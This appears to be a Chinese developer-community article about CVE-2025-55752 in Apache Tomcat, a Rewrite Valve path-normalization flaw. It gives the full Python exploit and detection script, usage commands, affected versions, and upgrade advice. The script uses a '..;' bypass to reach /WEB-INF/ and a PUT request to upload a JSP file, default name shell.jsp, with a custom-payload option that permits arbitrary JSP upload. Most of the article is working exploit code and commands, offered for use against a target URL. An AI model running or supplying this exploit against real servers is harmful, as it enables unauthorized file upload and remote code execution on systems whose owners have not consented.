
本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如 /WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。
..; 序列绕过 URL 规范化检查,验证对受保护目录的访问requests 库python3 CVE-2025-55752.py http://target:8080 --check此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。
python3 CVE-2025-55752.py http://target:8080此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload "<% out.println('PWNED'); %>"使用自定义的文件名和 payload 内容进行测试。
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。
url:目标服务器的基础 URL(必需),需包含 http:// 或 https://--filename:上传的文件名,默认为 shell.jsp--payload:上传的文件内容,默认为 <% out.println("Bypassed!"); %>--check:仅检查路径绕过,不进行文件上传--no-ssl-verify:禁用 SSL 证书验证[+] 表示成功或发现漏洞[-] 表示失败或未发现漏洞[!] 表示发生错误def main():
parser = argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")
parser.add_argument("url", help="Target base URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--filename", default="shell.jsp", help="Filename to upload (default: shell.jsp)")
parser.add_argument("--payload", default="<% out.println(\"Bypassed!\"); %>", help="Payload content to upload")
parser.add_argument("--check", action="store_true", help="Only check for path bypass without uploading")
parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification")
args = parser.parse_args()
print(BANNER)
verify_ssl = not args.no_ssl_verify
if not args.url.startswith("http"):
print("[-] Please include http:// or https:// in the URL")
sys.exit(1)
if args.check:
check_access(args.url, f"/WEB-INF/{args.filename}", verify_ssl)
else:
uploaded_path = attempt_put_upload(args.url, args.filename, args.payload, verify_ssl)
if uploaded_path:
check_access(args.url, f"/WEB-INF/{args.filename}", verify_ssl)
if __name__ == "__main__":
main()代码说明:
argparse 模块解析命令行参数--check 参数选择执行模式:仅检查或完整测试def attempt_put_upload(target, filename, payload, verify_ssl):
upload_path = f"/{filename}"
url = f"{target}{upload_path}"
try:
print(f"[+] Attempting to upload payload to: {url}")
response = requests.put(url, data=payload, verify=verify_ssl, timeout=10)
if response.status_code in [200, 201, 204]:
print(f"[+] Upload successful! Response code: {response.status_code}")
return upload_path
else:
print(f"[-] Upload failed! Response code: {response.status_code}")
return None
except Exception as e:
print(f"[!] Upload error: {e}")
return None代码说明:
def check_access(target, path, verify_ssl):
bypass_path = f"/..;{path}"
url = f"{target}{bypass_path}"
try:
print(f"[+] Checking access to: {url}")
response = requests.get(url, verify=verify_ssl, timeout=10)
if response.status_code == 200:
print("[+] Bypass successful! Target may be vulnerable.")
return True
else:
print(f"[-] Access denied or not vulnerable (HTTP {response.status_code}).")
return False
except Exception as e:
print(f"[!] Access check error: {e}")
return False代码说明:
..; 序列构造路径绕过 URLimport requests
import argparse
import urllib3
import sys
from urllib.parse import quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = """
CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script
============================================================
This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file
into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752.
"""代码说明:
urllib.parse.quote 预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)Tomcat 分支 | 受影响版本 |
|---|---|
11.x | 11.0.0-M1 至 11.0.10 |
10.1.x | 10.1.0-M1 至 10.1.44 |
9.0.x | 9.0.0-M11 至 9.0.108 |
8.5.x | 8.5.6 至 8.5.100 |
建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。
CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如 ..;)绕过内部保护机制,访问受限制的目录(如 /WEB-INF/ 或 /META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。